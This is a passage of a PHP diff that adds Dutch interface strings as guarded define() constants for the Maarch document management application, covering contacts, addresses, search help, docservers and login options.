(!defined('_SEARCH_ADDRESSES')) { + define('_SEARCH_ADDRESSES', 'Naam/Adres opzoeken'); +} +if (!defined('_ADDRESS_NB')) { + define('_ADDRESS_NB', 'Aantal adressen'); +} +if (!defined('_CONTACT_TYPES_LIST')) { + define('_CONTACT_TYPES_LIST', 'Lijst van de contacttypes'); +} +if (!defined('_DESC_CONTACT_TYPES')) { + define('_DESC_CONTACT_TYPES', 'Contacttype'); +} +if (!defined('_NEW_CONTACT_TYPE_ADDED')) { + define('_NEW_CONTACT_TYPE_ADDED', 'Nieuw contacttype toevoegen'); +} +if (!defined('_ALL_CONTACT_TYPES')) { + define('_ALL_CONTACT_TYPES', 'Alle types'); +} +if (!defined('_CONTACT_TYPE')) { + define('_CONTACT_TYPE', 'Contacttype'); +} +if (!defined('_THIS_CONTACT_TYPE')) { + define('_THIS_CONTACT_TYPE', 'Dit contacttype'); +} +if (!defined('_CONTACT_TYPE_MISSING')) { + define('_CONTACT_TYPE_MISSING', 'Contacttype ontbreekt'); +} +if (!defined('_CONTACT_TYPES')) { + define('_CONTACT_TYPES', 'Contacttype(s)'); +} +if (!defined('_A_CONTACT_TYPE')) { + define('_A_CONTACT_TYPE', 'een contacttype'); +} +if (!defined('_NEW_CONTACT_TYPE')) { + define('_NEW_CONTACT_TYPE', 'Nieuw contacttype'); +} +if (!defined('_CONTACT_TYPE_MODIF')) { + define('_CONTACT_TYPE_MODIF', 'Wijziging van het contacttype'); +} +if (!defined('_ID_CONTACT_TYPE_PB')) { + define('_ID_CONTACT_TYPE_PB', 'Er is een probleem met de gebruikersnaam van het contacttype'); +} +if (!defined('_THE_CONTACT_TYPE')) { + define('_THE_CONTACT_TYPE', 'Het contacttype'); +} +if (!defined('_CONTACT_TYPE_DEL')) { + define('_CONTACT_TYPE_DEL', 'Verwijderen van het contacttype'); +} +if (!defined('_DELETED_CONTACT_TYPE')) { + define('_DELETED_CONTACT_TYPE', 'Contacttype verwijderd'); +} +if (!defined('_WARNING_MESSAGE_DEL_CONTACT_TYPE')) { + define('_WARNING_MESSAGE_DEL_CONTACT_TYPE', 'Waarschuwing: De verwijdering van een contacttype leidt tot de nieuwe toewijzing van de contacten aan een ander contacttype.'); +} +if (!defined('_CONTACT_TYPE_REAFFECT')) { + define('_CONTACT_TYPE_REAFFECT', 'Contacten opnieuw toewijzen'); +} +if (!defined('_ALL')) { + define('_ALL', 'Alle'); +} +if (!defined('_CONTACT_ALREADY_CREATED')) { + define('_CONTACT_ALREADY_CREATED', 'Reeds bestaande contacten'); +} +if (!defined('_CONTACT_ALREADY_CREATED_INFORMATION')) { + define('_CONTACT_ALREADY_CREATED_INFORMATION', '(ter informatie)'); +} +if (!defined('_SEARCH_CONTACTS')) { + define('_SEARCH_CONTACTS', 'Een contact zoeken'); +} +if (!defined('_YOU_SHOULD_ADD_AN_ADDRESS')) { + define('_YOU_SHOULD_ADD_AN_ADDRESS', 'Na bevestiging, een adres aan dit contact toevoegen'); +} +if (!defined('_ADDRESSES')) { + define('_ADDRESSES', 'adres(sen)'); +} +if (!defined('_ADDRESSES_MAJ')) { + define('_ADDRESSES_MAJ', 'Adres'); +} +if (!defined('_DOC_S')) { + define('_DOC_S', 'document(en)'); +} +if (!defined('_CONTACTS_CONFIRMATION')) { + define('_CONTACTS_CONFIRMATION', 'Aanmaakbevestiging'); +} +if (!defined('_YOUR_CONTACT_LOOKS_LIKE_ANOTHER')) { + define('_YOUR_CONTACT_LOOKS_LIKE_ANOTHER', '<b>Lijkt uw contact op één of meerdere reeds bestaande contacten:</b>'); +} +if (!defined('_CONFIRM_CREATE_CONTACT')) { + define('_CONFIRM_CREATE_CONTACT', 'Bevestigt u de aanmaak van uw contact?'); +} +if (!defined('_CONFIRM_EDIT_CONTACT')) { + define('_CONFIRM_EDIT_CONTACT', 'Bevestigt u de wijziging van uw contact?'); +} +if (!defined('_CONTACTS_CONFIRMATION_MODIFICATION')) { + define('_CONTACTS_CONFIRMATION_MODIFICATION', 'Wijzigingsbevestiging'); +} +if (!defined('_CREATE_BY')) { + define('_CREATE_BY', 'Aangemaakt door'); +} +if (!defined('_SOCIETY_SHORT')) { + define('_SOCIETY_SHORT', 'Acroniem van de structuur'); +} +if (!defined('_CHOOSE_CONTACT_TYPES')) { + define('_CHOOSE_CONTACT_TYPES', 'Kies het contacttype'); +} +if (!defined('_ORGANISM')) { + define('_ORGANISM', 'Organisatie'); +} +if (!defined('_NEW_CONTACT_ADDRESS')) { + define('_NEW_CONTACT_ADDRESS', 'Een nieuwe adres toevoegen'); +} +if (!defined('_A_CONTACT_ADDRESS')) { + define('_A_CONTACT_ADDRESS', 'een adres'); +} +if (!defined('_ALL_CONTACT_ADDRESSES')) { + define('_ALL_CONTACT_ADDRESSES', 'Alle adressen'); +} +if (!defined('_THE_CONTACT')) { + define('_THE_CONTACT', 'Het contact'); +} +if (!defined('_CONTACT_ADDRESSES_ASSOCIATED')) { + define('_CONTACT_ADDRESSES_ASSOCIATED', 'Aan dit contact gekoppelde adressen'); +} +if (!defined('_VIEW_CONTACT')) { + define('_VIEW_CONTACT', 'Contactweergave'); +} +if (!defined('_VIEW_CONTACTS')) { + define('_VIEW_CONTACTS', 'Contacten bekijken'); +} +if (!defined('_VIEW_ADDRESS')) { + define('_VIEW_ADDRESS', 'Weergave van het adres'); +} +if (!defined('_TREE_INFO')) { + define('_TREE_INFO', '(Contacttypes/Contacten/Adressen)'); +} +if (!defined('_CONFIDENTIAL_ADDRESS')) { + define('_CONFIDENTIAL_ADDRESS', 'vertrouwelijke gegevens'); +} +if (!defined('_MAIN_ADDRESS')) { + define('_MAIN_ADDRESS', 'Hoofdadres'); +} +if (!defined('_MANAGE_CONTACT_ADDRESSES')) { + define('_MANAGE_CONTACT_ADDRESSES', '<h2>De gekoppelde adressen beheren</h2>'); +} +if (!defined('_MANAGE_CONTACT_ADDRESSES_IMG')) { + define('_MANAGE_CONTACT_ADDRESSES_IMG', 'De gekoppelde adressen beheren'); +} +if (!defined('_DEPARTEMENT')) { + define('_DEPARTEMENT', 'Afdeling'); +} +if (!defined('_ADDITION_ADDRESS')) { + define('_ADDITION_ADDRESS', 'Een adres toevoegen'); +} +if (!defined('_THE_ADDRESS')) { + define('_THE_ADDRESS', 'Het adres'); +} +if (!defined('_MODIFY_ADDRESS')) { + define('_MODIFY_ADDRESS', 'Het adres wijzigen'); +} +if (!defined('_WEBSITE')) { + define('_WEBSITE', 'Website'); +} +if (!defined('_OCCUPANCY')) { + define('_OCCUPANCY', 'Nr. app verdieping trap'); +} +if (!defined('_ADDRESS_ADDED')) { + define('_ADDRESS_ADDED', 'Adres toegevoegd'); +} +if (!defined('_ADD_ADDRESS')) { + define('_ADD_ADDRESS', 'Een adres toevoegen'); +} +if (!defined('_EDIT_ADDRESS')) { + define('_EDIT_ADDRESS', 'Het adres wijzigen'); +} +if (!defined('_ADDRESS_EDITED')) { + define('_ADDRESS_EDITED', 'Adres gewijzigd'); +} +if (!defined('_DELETED_ADDRESS')) { + define('_DELETED_ADDRESS', 'Adres verwijderd'); +} +if (!defined('_ADDRESS_DEL')) { + define('_ADDRESS_DEL', 'Verwijderen van een adres'); +} +if (!defined('_WARNING_MESSAGE_DEL_CONTACT_ADDRESS')) { + define('_WARNING_MESSAGE_DEL_CONTACT_ADDRESS', 'Waarschuwing: Het verwijderen van een adres leidt tot het opnieuw toewijzen van de brieven aan een nieuw adres.'); +} +if (!defined('_CONTACT_ADDRESS_REAFFECT')) { + define('_CONTACT_ADDRESS_REAFFECT', 'Brieven opnieuw toewijzen'); +} +if (!defined('_NEW_ADDRESS')) { + define('_NEW_ADDRESS', 'Nieuw adres'); +} +if (!defined('_CHOOSE_CONTACT_ADDRESS')) { + define('_CHOOSE_CONTACT_ADDRESS', 'Kies een adres'); +} +if (!defined('_THE_CONTACT_ADDRESS')) { + define('_THE_CONTACT_ADDRESS', 'Het adres van de contactpersoon'); +} +if (!defined('_CONTACT_ADDRESS')) { + define('_CONTACT_ADDRESS', 'Contact adres'); +} +if (!defined('_USE')) { + define('_USE', 'Gebruiken'); +} +if (!defined('_HELP_PRIVATE')) { + define('_HELP_PRIVATE', '<i>De velden die gemarkeerd zijn met <span class=\blue_asterisk\>*</span> zijn verborgen in de contactfiche indien het adres vertrouwelijk is</i>'); +} +if (!defined('_SALUTATION')) { + define('_SALUTATION', 'Beleefdheidsformule'); +} +if (!defined('_SALUTATION_HEADER')) { + define('_SALUTATION_HEADER', 'Aan het begin van de brief'); +} +if (!defined('_SALUTATION_FOOTER')) { + define('_SALUTATION_FOOTER', 'Aan het einde van de brief'); +} +if (!defined('_BACK_TO_RESULTS_LIST')) { + define('_BACK_TO_RESULTS_LIST', 'Terug naar de resultatenlijst'); +} +if (!defined('_ADD_ADDRESS_TO_CONTACT')) { + define('_ADD_ADDRESS_TO_CONTACT', 'Een nieuw adres aan een bestaand contact toevoegen'); +} +if (!defined('_ADD_ADDRESS_TO_CONTACT_DESC')) { + define('_ADD_ADDRESS_TO_CONTACT_DESC', 'Dit deel wordt gebruikt om een adres aan een reeds bestaand contact toe te voegen.'); +} +if (!defined('_WHICH_CONTACT')) { + define('_WHICH_CONTACT', 'Aan welk contact wil u een adres toevoegen?'); +} +if (!defined('_CHOOSE_THIS_CONTACT')) { + define('_CHOOSE_THIS_CONTACT', 'Dit contact kiezen'); +} +if (!defined('_CHOOSE_A_CONTACT')) { + define('_CHOOSE_A_CONTACT', 'Kies een contact'); +} +if (!defined('_CREATE_CONTACTS')) { + define('_CREATE_CONTACTS', 'Alle contacten'); +} +if (!defined('_LINKED_CONTACT')) { + define('_LINKED_CONTACT', 'Aan het contact verbonden'); +} +if (!defined('_COMMUNICATION_TYPE')) { + define('_COMMUNICATION_TYPE', 'Communicatiemiddel'); +} +if (!defined('_COMMUNICATION_VALUE')) { + define('_COMMUNICATION_VALUE', 'Waarde'); +} +if (!defined('_COMMUNICATION_ADDED')) { + define('_COMMUNICATION_ADDED', 'Toegevoegde communicatie'); +} +if (!defined('_COMMUNICATION_MODIFIED')) { + define('_COMMUNICATION_MODIFIED', 'Gewijzigde communicatie'); +} +if (!defined('_COMMUNICATION_DELETED')) { + define('_COMMUNICATION_DELETED', 'Verwijderde communicatie'); +} +if (!defined('_CHOOSE_COMMUNICATION_TYPES')) { + define('_CHOOSE_COMMUNICATION_TYPES', 'Kies het communicatiemiddel'); +} +if (!defined('_CONTACT_COMMUNICATION_DEFINE')) { + define('_CONTACT_COMMUNICATION_DEFINE', 'Gedefinieerd communicatiemiddel'); +} +if (!defined('_NO_COLLECTION_ACCESS_FOR_THIS_USER')) { + define('_NO_COLLECTION_ACCESS_FOR_THIS_USER', 'Geen toegang tot de documentenverzameling voor deze gebruiker'); +} +if (!defined('_CREATION_DATE')) { + define('_CREATION_DATE', 'Aanmaakdatum'); +} +if (!defined('_MODIFICATION_DATE')) { + define('_MODIFICATION_DATE', 'Datum wijziging'); +} +if (!defined('_NO_RESULTS')) { + define('_NO_RESULTS', 'Geen resultaat'); +} +if (!defined('_FOUND_DOCS')) { + define('_FOUND_DOCS', 'brieven gevonden'); +} +if (!defined('_MY_CONTACTS')) { + define('_MY_CONTACTS', 'Contacten aanmaken vanuit indexering/kwalificering'); +} +if (!defined('_MY_CONTACTS_MENU')) { + define('_MY_CONTACTS_MENU', 'Mijn contacten'); +} +if (!defined('_MAARCH_INFO')) { + define('_MAARCH_INFO', 'Ons contacteren'); +} +if (!defined('_MY_COLLEAGUES')) { + define('_MY_COLLEAGUES', 'Mijn collega’s'); +} +if (!defined('_DETAILLED_PROPERTIES')) { + define('_DETAILLED_PROPERTIES', 'Gedetailleerde eigenschappen'); +} +if (!defined('_PROPERTIES')) { + define('_PROPERTIES', 'Details'); +} +if (!defined('_VIEW_DOC_NUM')) { + define('_VIEW_DOC_NUM', 'Weergave van brief nr.'); +} +if (!defined('_VIEW_DETAILS_NUM')) { + define('_VIEW_DETAILS_NUM', 'Weergave van de gedetailleerde fiche van brief nr.'); +} +if (!defined('_TO')) { + define('_TO', 'naar'); +} +if (!defined('_FILE_PROPERTIES')) { + define('_FILE_PROPERTIES', 'Eigenschappen van het bestand'); +} +if (!defined('_FILE_DATA')) { + define('_FILE_DATA', 'Informatie over het brief'); +} +if (!defined('_VIEW_DOC')) { + define('_VIEW_DOC', 'Het brief bekijken'); +} +if (!defined('_DOWNLOAD_LOCAL_DOC_COPY')) { + define('_DOWNLOAD_LOCAL_DOC_COPY', 'Een plaatselijke kopie downloaden'); +} +if (!defined('_VISUALIZE')) { + define('_VISUALIZE', 'Weergeven'); +} +if (!defined('_TYPIST')) { + define('_TYPIST', 'Operator'); +} +if (!defined('_LOT')) { + define('_LOT', 'Set'); +} +if (!defined('_ARBOX')) { + define('_ARBOX', 'Box'); +} +if (!defined('_ARBOXES')) { + define('_ARBOXES', 'Boxes'); +} +if (!defined('_ARBATCHES')) { + define('_ARBATCHES', 'Set'); +} +if (!defined('_CHOOSE_BOXES_SEARCH_TITLE')) { + define('_CHOOSE_BOXES_SEARCH_TITLE', 'Selecteer de box(es) om de opzoeking in te perken'); +} +if (!defined('_PAGECOUNT')) { + define('_PAGECOUNT', 'Aantal pagina’s'); +} +if (!defined('_ISPAPER')) { + define('_ISPAPER', 'Papier'); +} +if (!defined('_SCANDATE')) { + define('_SCANDATE', 'Digitaliseringsdatum'); +} +if (!defined('_SCANUSER')) { + define('_SCANUSER', 'Gebruik van de scanner'); +} +if (!defined('_SCANLOCATION')) { + define('_SCANLOCATION', 'Digitaliseringsplaats'); +} +if (!defined('_SCANWKSATION')) { + define('_SCANWKSATION', 'Digitaliseringsstation'); +} +if (!defined('_SCANBATCH')) { + define('_SCANBATCH', 'Digitaliseringsset'); +} +if (!defined('_SOURCE')) { + define('_SOURCE', 'Bron'); +} +if (!defined('_DOCLANGUAGE')) { + define('_DOCLANGUAGE', 'Documenttaal'); +} +if (!defined('_MAILDATE')) { + define('_MAILDATE', 'Datum van de brief'); +} +if (!defined('_MD5')) { + define('_MD5', 'Digitale afdruk'); +} +if (!defined('_WORK_BATCH')) { + define('_WORK_BATCH', 'Ladingset'); +} +if (!defined('_DONE')) { + define('_DONE', 'Uitgevoerde acties'); +} +if (!defined('_CLOSING_DATE')) { + define('_CLOSING_DATE', 'Afsluitingsdatum'); +} +if (!defined('_FULLTEXT')) { + define('_FULLTEXT', 'Volle tekst'); +} +if (!defined('_FULLTEXT_HELP')) { + define('_FULLTEXT_HELP', 'Zoeken in de inhoud van de brieven'); +} +if (!defined('_FULLTEXT_ERROR')) { + define('_FULLTEXT_ERROR', 'Ongeldige invoer voor het zoeken naar volle tekst Indien u het teken \*\ heeft gebruikt, moeten er minstens 3 tekens voor staan en geen tekens zoals :!+'); +} +if (!defined('_FILE_NOT_SEND')) { + define('_FILE_NOT_SEND', 'Het bestand werd niet verzonden'); +} +if (!defined('_TRY_AGAIN')) { + define('_TRY_AGAIN', 'Probeer opnieuw'); +} +if (!defined('_INDEX_UPDATED')) { + define('_INDEX_UPDATED', 'Bijgewerkte index'); +} +if (!defined('_UPDATE_DOC_STATUS')) { + define('_UPDATE_DOC_STATUS', 'Brief status is bijgewerkt'); +} +if (!defined('_DOCTYPE_MANDATORY')) { + define('_DOCTYPE_MANDATORY', 'Het stuktype is verplicht'); +} +if (!defined('_CHECK_FORM_OK')) { + define('_CHECK_FORM_OK', 'Controle formulier OK'); +} +if (!defined('_MISSING_FORMAT')) { + define('_MISSING_FORMAT', 'Formaat ontbreekt'); +} +if (!defined('_ERROR_RES_ID')) { + define('_ERROR_RES_ID', 'Probleem bij berekening van res_id'); +} +if (!defined('_NEW_DOC_ADDED')) { + define('_NEW_DOC_ADDED', 'Nieuw brief bewaard'); +} +if (!defined('_STATUS_UPDATED')) { + define('_STATUS_UPDATED', 'Bijgewerkt statuut'); +} +if (!defined('_QUICKLAUNCH')) { + define('_QUICKLAUNCH', 'Sneltoetsen'); +} +if (!defined('_SHOW_DETAILS_DOC')) { + define('_SHOW_DETAILS_DOC', 'De details van het document bekijken'); +} +if (!defined('_VIEW_DOC_FULL')) { + define('_VIEW_DOC_FULL', 'Het document bekijken'); +} +if (!defined('_DETAILS_DOC_FULL')) { + define('_DETAILS_DOC_FULL', 'De fiche van het document bekijken'); +} +if (!defined('_IDENTIFIER')) { + define('_IDENTIFIER', 'Referentie'); +} +if (!defined('_CHRONO_NUMBER')) { + define('_CHRONO_NUMBER', 'Chrononummer'); +} +if (!defined('_CHRONO_NUMBER_SHORT')) { + define('_CHRONO_NUMBER_SHORT', 'chrono'); +} +if (!defined('_ATTACHMENT_TYPE')) { + define('_ATTACHMENT_TYPE', 'Type bijlage'); +} +if (!defined('_NO_CHRONO_NUMBER_DEFINED')) { + define('_NO_CHRONO_NUMBER_DEFINED', 'Het chrononummer is niet bepaald'); +} +if (!defined('_FOR_CONTACT_C')) { + define('_FOR_CONTACT_C', 'Voor:'); +} +if (!defined('_TO_CONTACT_C')) { + define('_TO_CONTACT_C', 'Van:'); +} +if (!defined('_CASE_NUMBER_ERROR')) { + define('_CASE_NUMBER_ERROR', 'Het nummer van de zaak heeft het verkeerde formaat: Geheel getal verwacht'); +} +if (!defined('_NUMERO_GED')) { + define('_NUMERO_GED', 'GED-nummer heeft het verkeerde formaat: Geheel getal verwacht'); +} +if (!defined('_APPS_COMMENT')) { + define('_APPS_COMMENT', 'Maarch Applicatie'); +} +if (!defined('_CORE_COMMENT')) { + define('_CORE_COMMENT', 'Kern van het Framework'); +} +if (!defined('_CLEAR_FORM')) { + define('_CLEAR_FORM', 'Het formulier wissen'); +} +if (!defined('_NOT_ALLOWED')) { + define('_NOT_ALLOWED', 'verboden'); +} +if (!defined('_CHOOSE_TITLE')) { + define('_CHOOSE_TITLE', 'Kies een aanspreking'); +} +if (!defined('_INDEXING_STATUSES')) { + define('_INDEXING_STATUSES', 'Indexeren naar de statussen'); +} +if (!defined('_UNCHANGED')) { + define('_UNCHANGED', 'Ongewijzigd'); +} +if (!defined('_PARAM_AVAILABLE_STATUS_ON_GROUP_BASKETS')) { + define('_PARAM_AVAILABLE_STATUS_ON_GROUP_BASKETS', 'Instelling van de indexeringsstatussen'); +} +if (!defined('_PROJECT')) { + define('_PROJECT', 'Map'); +} +if (!defined('_MARKET')) { + define('_MARKET', 'Submap'); +} +if (!defined('_DAYS')) { + define('_DAYS', 'dagen'); +} +if (!defined('_LAST_DAY')) { + define('_LAST_DAY', 'Laatste dag'); +} +if (!defined('_CONTACT_NAME')) { + define('_CONTACT_NAME', 'Contact factuur'); +} +if (!defined('_AMOUNT')) { + define('_AMOUNT', 'Factuurbedrag'); +} +if (!defined('_CUSTOMER')) { + define('_CUSTOMER', 'Klant factuur'); +} +if (!defined('_PO_NUMBER')) { + define('_PO_NUMBER', 'Bestelbon factuur'); +} +if (!defined('_INVOICE_NUMBER')) { + define('_INVOICE_NUMBER', 'Factuurnummer'); +} +if (!defined('_HELP_GLOBAL_SEARCH')) { + define('_HELP_GLOBAL_SEARCH', 'Zoeken op onderwerp, titel, beschrijving, inhoud van het document of op het GED-nummer'); +} +if (!defined('_HELP_FULLTEXT_SEARCH')) { + define('_HELP_FULLTEXT_SEARCH', 'Hulp voor zoeken van volle tekst'); +} +if (!defined('_GLOBAL_SEARCH')) { + define('_GLOBAL_SEARCH', 'Globale opzoeking'); +} +if (!defined('_TIPS_FULLTEXT')) { + define('_TIPS_FULLTEXT', 'Opzoekingstips'); +} +if (!defined('_TIPS_KEYWORD1')) { + define('_TIPS_KEYWORD1', 'Om een opzoeking met joker met meerdere tekens uit te voeren'); +} +if (!defined('_TIPS_KEYWORD2')) { + define('_TIPS_KEYWORD2', 'Om een opzoeking op een groep woorden een zin uit te voeren'); +} +if (!defined('_TIPS_KEYWORD3')) { + define('_TIPS_KEYWORD3', 'Om een opzoeking bij benadering uit te voeren'); +} +if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE1')) { + define('_HELP_FULLTEXT_SEARCH_EXEMPLE1', '<b>auto*</b> vindt autostrade en automobiel'); +} +if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE2')) { + define('_HELP_FULLTEXT_SEARCH_EXEMPLE2', '<B>nationale weg</b> vindt de volledige uitdrukking nationale weg <p> <b>Zonder aanhalingsteken</b> vindt de opzoeking documenten met de woorden <b>weg<BIG> en </BIG>nationale</b></p><p> Gebruik zeker geen liggend streepje! Om woorden met een liggend streepje te zoeken zoals e-mail, geeft u gewoon de woorden <b>e mail</b> in, gescheiden door een spatie.'); +} +if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE3')) { + define('_HELP_FULLTEXT_SEARCH_EXEMPLE3', 'snel~ vindt uw snel'); +} +if (!defined('_TIPS_FULLTEXT_TEXT')) { + define('_TIPS_FULLTEXT_TEXT', 'Er kunnen ook getallen opgezocht worden'); +} +if (!defined('_CLOSE_MAIL')) { + define('_CLOSE_MAIL', 'Een brief afsluiten'); +} +if (!defined('_CLOSE_MAIL_DESC')) { + define('_CLOSE_MAIL_DESC', 'Om de afsluitingsdatum van een brief bij te werken (closing_date van tabel res_letterbox). ESSENTIEEL om uw documentworkflow af te sluiten.'); +} +if (!defined('_HELP_KEYWORD0')) { + define('_HELP_KEYWORD0', 'Id van de verbonden gebruiker'); +} +if (!defined('_HELP_BY_CORE')) { + define('_HELP_BY_CORE', 'Sleutelwoorden van Maarch Core'); +} +if (!defined('_FIRSTNAME_UPPERCASE')) { + define('_FIRSTNAME_UPPERCASE', 'VOORNAAM'); +} +if (!defined('_TITLE_STATS_USER_LOG')) { + define('_TITLE_STATS_USER_LOG', 'Toegang tot de applicatie'); +} +if (!defined('_DELETE_DOC')) { + define('_DELETE_DOC', 'Dit brief verwijderen'); +} +if (!defined('_THIS_DOC')) { + define('_THIS_DOC', 'dit brief'); +} +if (!defined('_MODIFY_DOC')) { + define('_MODIFY_DOC', 'Informatie wijzigen'); +} +if (!defined('_BACK_TO_WELCOME')) { + define('_BACK_TO_WELCOME', 'Terug naar homepage'); +} +if (!defined('_CLOSE_MAIL')) { + define('_CLOSE_MAIL', 'Een brief afsluiten'); +} +if (!defined('_REF_ID')) { + define('_REF_ID', 'Chrono nr.'); +} +if (!defined('_OWNER')) { + define('_OWNER', 'Eigenaar'); +} +if (!defined('_OPT_INDEXES')) { + define('_OPT_INDEXES', 'Bijkomende informatie'); +} +if (!defined('_NUM_BETWEEN')) { + define('_NUM_BETWEEN', 'Begrepen tussen'); +} +if (!defined('_MUST_CORRECT_ERRORS')) { + define('_MUST_CORRECT_ERRORS', 'U moet de volgende fouten verbeteren'); +} +if (!defined('_CLICK_HERE_TO_CORRECT')) { + define('_CLICK_HERE_TO_CORRECT', 'Klik hier om deze te verbeteren'); +} +if (!defined('_FILETYPE')) { + define('_FILETYPE', 'Bestandstype'); +} +if (!defined('_WARNING')) { + define('_WARNING', 'Let op'); +} +if (!defined('_STRING')) { + define('_STRING', 'Karakterreeks'); +} +if (!defined('_INTEGER')) { + define('_INTEGER', 'Geheel'); +} +if (!defined('_FLOAT')) { + define('_FLOAT', 'Zwevend'); +} +if (!defined('_ITEM_NOT_IN_LIST')) { + define('_ITEM_NOT_IN_LIST', 'Element niet in de lijst van de toegelaten waarden'); +} +if (!defined('_PB_WITH_FINGERPRINT_OF_DOCUMENT')) { + define('_PB_WITH_FINGERPRINT_OF_DOCUMENT', 'De initiële digitale afdruk van het document komt niet overeen met die van het document waarnaar verwezen wordt'); +} +if (!defined('_MISSING')) { + define('_MISSING', 'ontbrekend(e)'); +} +if (!defined('_NATURE')) { + define('_NATURE', 'Aard'); +} +if (!defined('_NO_DEFINED_TREES')) { + define('_NO_DEFINED_TREES', 'Geen boom gedefinieerd'); +} +if (!defined('_IF_CHECKS_MANDATORY_MUST_CHECK_USE')) { + define('_IF_CHECKS_MANDATORY_MUST_CHECK_USE', 'Indien u op een verplicht veld klikt, moet u het gebruikte vakje eveneens aanvinken'); +} +if (!defined('_SEARCH_DOC')) { + define('_SEARCH_DOC', 'Een document opzoeken'); +} +if (!defined('_DOCSERVER_COPY_ERROR')) { + define('_DOCSERVER_COPY_ERROR', 'Fout tijdens het kopiëren op de DocServer'); +} +if (!defined('_MAKE_NEW_SEARCH')) { + define('_MAKE_NEW_SEARCH', 'Een nieuwe opzoeking uitvoeren'); +} +if (!defined('_NO_PAGE')) { + define('_NO_PAGE', 'Geen pagina'); +} +if (!defined('_DB_CONNEXION_ERROR')) { + define('_DB_CONNEXION_ERROR', 'Verbindingsfout met de database'); +} +if (!defined('_DATABASE_SERVER')) { + define('_DATABASE_SERVER', 'Databaseserver'); +} +if (!defined('_DB_PORT')) { + define('_DB_PORT', 'Poort'); +} +if (!defined('_DB_TYPE')) { + define('_DB_TYPE', 'Type'); +} +if (!defined('_DB_USER')) { + define('_DB_USER', 'Gebruiker'); +} +if (!defined('_DATABASE')) { + define('_DATABASE', 'Database'); +} +if (!defined('_TREE_ROOT')) { + define('_TREE_ROOT', 'Root'); +} +if (!defined('_MODE')) { + define('_MODE', 'Modus'); +} +if (!defined('_TITLE_STATS_CHOICE_PERIOD')) { + define('_TITLE_STATS_CHOICE_PERIOD', 'Voor een periode'); +} +if (!defined('_STANDARD_LOGIN')) { + define('_STANDARD_LOGIN', 'Maarch authenticatie'); +} +if (!defined('_SERVICE_REST_LOGIN')) { + define('_SERVICE_REST_LOGIN', 'Authenticatie via Webservice'); +} +if (!defined('_CAS_LOGIN')) { + define('_CAS_LOGIN', 'CAS authenticatie'); +} +if (!defined('_ACTIVEX_LOGIN')) { + define('_ACTIVEX_LOGIN', 'Ms Internet Explorer - ActiveX authenticatie '); +} +if (!defined('_HOW_CAN_I_LOGIN')) { + define('_HOW_CAN_I_LOGIN', 'Ik krijg geen verbinding...'); +} +if (!defined('_CONNECT')) { + define('_CONNECT', 'Verbinding maken'); +} +if (!defined('_LOGIN_MODE')) { + define('_LOGIN_MODE', 'Authenticatietype'); +} +if (!defined('_SSO_LOGIN')) { + define('_SSO_LOGIN', 'Login via SSO'); +} +if (!defined('_LDAP')) { + define('_LDAP', 'LDAP directory'); +} +if (!defined('_WHERE_CLAUSE_TARGET')) { + define('_WHERE_CLAUSE_TARGET', 'Doel van de WHERE clause'); +} +if (!defined('_WHERE_TARGET')) { + define('_WHERE_TARGET', 'Doel'); +} +if (!defined('_DOCS')) { + define('_DOCS', 'Documenten'); +} +if (!defined('_GO_MANAGE_USER')) { + define('_GO_MANAGE_USER', 'Wijzigen'); +} +if (!defined('_GO_MANAGE_DOCSERVER')) { + define('_GO_MANAGE_DOCSERVER', 'Wijzigen'); +} +if (!defined('_TASKS')) { + define('_TASKS', 'Beschikbare acties op de brieven'); +} +if (!defined('_PERIOD')) { + define('_PERIOD', 'Periode'); +} +if (!defined('_COMMENTS_MANDATORY')) { + define('_COMMENTS_MANDATORY', 'Verplichte beschrijving'); +} +if (!defined('_ADD_RECORD_LABEL')) { + define('_ADD_RECORD_LABEL', 'Een document toevoegen'); +} +if (!defined('_DATA_MODIFICATION_LABEL')) { + define('_DATA_MODIFICATION_LABEL', 'Wijzigen'); +} +if (!defined('_DELETE_RECORD_LABEL')) { + define('_DELETE_RECORD_LABEL', 'Verwijderen'); +} +if (!defined('_VIEW_LOG_LABEL')) { + define('_VIEW_LOG_LABEL', 'De logboeken bekijken'); +} +if (!defined('_PLUS')) { + define('_PLUS', 'Meer'); +} +if (!defined('_MINUS')) { + define('_MINUS', 'Minder'); +} +if (!defined('_MANAGE_DOCSERVERS')) { + define('_MANAGE_DOCSERVERS', 'De opslagruimtes beheren'); +} +if (!defined('_MANAGE_DOCSERVERS_DESC')) { + define('_MANAGE_DOCSERVERS_DESC', 'Opslagruimtes toevoegen, wijzigen, verwijderen'); +} +if (!defined('_MANAGE_DOCSERVERS_LOCATIONS')) { + define('_MANAGE_DOCSERVERS_LOCATIONS', 'De opslagruimtes van documenten beheren'); +} +if (!defined('_MANAGE_DOCSERVERS_LOCATIONS_DESC')) { + define('_MANAGE_DOCSERVERS_LOCATIONS_DESC', 'De opslagruimtes van documenten toevoegen, verwijderen, wijzigen'); +} +if (!defined('_MANAGE_DOCSERVER_TYPES')) { + define('_MANAGE_DOCSERVER_TYPES', 'De opslagruimtetypes beheren'); +} +if (!defined('_MANAGE_DOCSERVER_TYPES_DESC')) { + define('_MANAGE_DOCSERVER_TYPES_DESC', 'Opslagruimtes toevoegen, wijzigen, verwijderen'); +} +if (!defined('_DOCSERVER_ID')) { + define('_DOCSERVER_ID', 'Gebruikersnaam docserver'); +} +if (!defined('_YOU_CANNOT_DELETE')) { + define('_YOU_CANNOT_DELETE', 'Verwijderen onmogelijk'); +} +if (!defined('_UNKNOWN')) { + define('_UNKNOWN', 'Onbekend'); +} +if (!defined('_UNKOWN')) { + define('_UNKOWN', 'is onbekend'); +} +if (!defined('_YOU_CANNOT_DISABLE')) { + define('_YOU_CANNOT_DISABLE', 'Opschorting onmogelijk'); +} +if (!defined('_DOCSERVER_TYPE_DISABLED')) { + define('_DOCSERVER_TYPE_DISABLED', 'Type opslagruimte opgeschort'); +} +if (!defined('_SIZE_LIMIT_UNAPPROACHABLE')) { + define('_SIZE_LIMIT_UNAPPROACHABLE', 'Limietgrootte onbereikbaar'); +} +if (!defined('_DOCSERVER_TYPE_ENABLED')) { + define('_DOCSERVER_TYPE_ENABLED', 'Type opslagruimte actief'); +} +if (!defined('_SIZE_LIMIT_LESS_THAN_ACTUAL_SIZE')) { + define('_SIZE_LIMIT_LESS_THAN_ACTUAL_SIZE', 'Limietgrootte lager dan huidige grootte'); +} +if (!defined('_THE_DOCSERVER_DOES_NOT_HAVE_THE_ADEQUATE_RIGHTS')) { + 